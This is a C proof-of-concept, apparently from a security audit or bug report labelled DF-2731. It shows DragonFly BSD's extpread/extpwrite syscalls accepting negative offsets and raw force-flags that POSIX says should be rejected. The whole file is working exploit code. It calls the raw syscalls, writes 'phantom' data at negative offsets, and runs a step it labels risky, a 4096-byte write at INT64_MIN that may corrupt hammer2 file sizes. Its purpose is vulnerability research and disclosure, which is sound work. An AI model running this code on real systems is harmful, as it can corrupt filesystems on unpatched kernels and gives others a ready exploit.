DF-2731 / negoffset.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | /* * DF-2731 PoC: negative-offset pread/pwrite via SYS_extpread/SYS_extpwrite * (sys/kern/sys_generic.c:153-186, 360-386) plus raw force-flags (O_FOFFSET / * O_FAPPEND leak through `flags & O_FMASK'). * * POSIX (pread): "EINVAL ... offset is negative". * DragonFly: sys_extpread() only special-cases offset == (off_t)-1; every * other negative offset is handed raw to the filesystem. * * Build: cc -O -o negoffset negoffset.c * Run: ./negoffset <scratchfile> */ #include <sys/types.h> #include <sys/syscall.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <unistd.h> #define SYS_EXTPREAD 173 #define SYS_EXTPWRITE 174 static void show(const char *what, ssize_t r, int e) { printf("%-42s ret=%zd errno=%d (%s)\n", what, r, e, e ? strerror(e) : "-"); } int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "df2731.scratch"; char buf[512], big[4096]; struct stat st; int fd, e; ssize_t r; fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } memset(big, 'Z', sizeof(big)); if (write(fd, "0123456789ABCDEFGHIJ", 20) != 20) { perror("write"); return 1; } /* --- 1. plain pread at -5: POSIX says EINVAL ------------------- */ errno = 0; r = pread(fd, buf, 8, -5); show("pread(fd, buf, 8, -5) [expect EINVAL]", r, errno); /* --- 2. pread near INT64_MIN ------------------------------------ */ errno = 0; r = pread(fd, buf, 8, (off_t)INT64_MIN + 8); show("pread(fd, buf, 8, INT64_MIN+8)", r, errno); /* --- 3. raw extpread: kernel arg order is (fd, buf, nbyte, FLAGS, OFFSET) * offset==-1 means "use file position"; documented O_FOFFSET flag * defeats that and keeps uio_offset = -1 -> negative offset to VFS. */ errno = 0; r = syscall(SYS_EXTPREAD, fd, buf, 8, 0, (off_t)-5); show("extpread(flags=0, offset=-5)", r, errno); errno = 0; r = syscall(SYS_EXTPREAD, fd, buf, 8, 0x200000 /*O_FOFFSET*/, (off_t)-1); show("extpread(flags=O_FOFFSET, offset=-1)", r, errno); /* --- 4. pwrite at -5: phantom block? ---------------------------- */ errno = 0; r = pwrite(fd, "PHANTOM!", 8, -5); show("pwrite(fd, \"PHANTOM!\", 8, -5)", r, errno); fstat(fd, &st); printf(" -> fstat size after phantom pwrite: %lld\n", (long long)st.st_size); errno = 0; r = pread(fd, buf, 512, 0); if (r > 0) { buf[r < 512 ? r : 511] = 0; printf(" -> file content (first %zd bytes): '%s'%s\n", r, buf, strstr(buf, "PHANTOM!") ? " <-- PHANTOM DATA LANDED" : ""); } /* --- 5. raw extpwrite, offset=-1, flags=O_FAPPEND (0x100000) ---- */ errno = 0; r = syscall(SYS_EXTPWRITE, fd, "APPEND!", 7, 0x100000 /*O_FAPPEND*/, (off_t)-1); show("extpwrite(flags=O_FAPPEND, offset=-1)", r, errno); fstat(fd, &st); printf(" -> fstat size after forced-append: %lld\n", (long long)st.st_size); errno = 0; r = pread(fd, buf, 512, 0); if (r > 0) { buf[r < 512 ? r : 511] = 0; printf(" -> content: '%s'%s\n", buf, strstr(buf, "APPEND!") ? " <-- APPENDED AT EOF" : ""); } /* --- 6. (risky) pwrite 4096 bytes at INT64_MIN ------------------- */ /* hammer2: new_eof = INT64_MIN + 4096 -> negative file size? */ errno = 0; r = pwrite(fd, big, sizeof(big), (off_t)INT64_MIN); show("pwrite(fd, 4096B, INT64_MIN) [risky]", r, errno); e = errno; fstat(fd, &st); printf(" -> fstat size after INT64_MIN pwrite: %lld\n", (long long)st.st_size); (void)e; printf("DONE df2731\n"); return 0; } |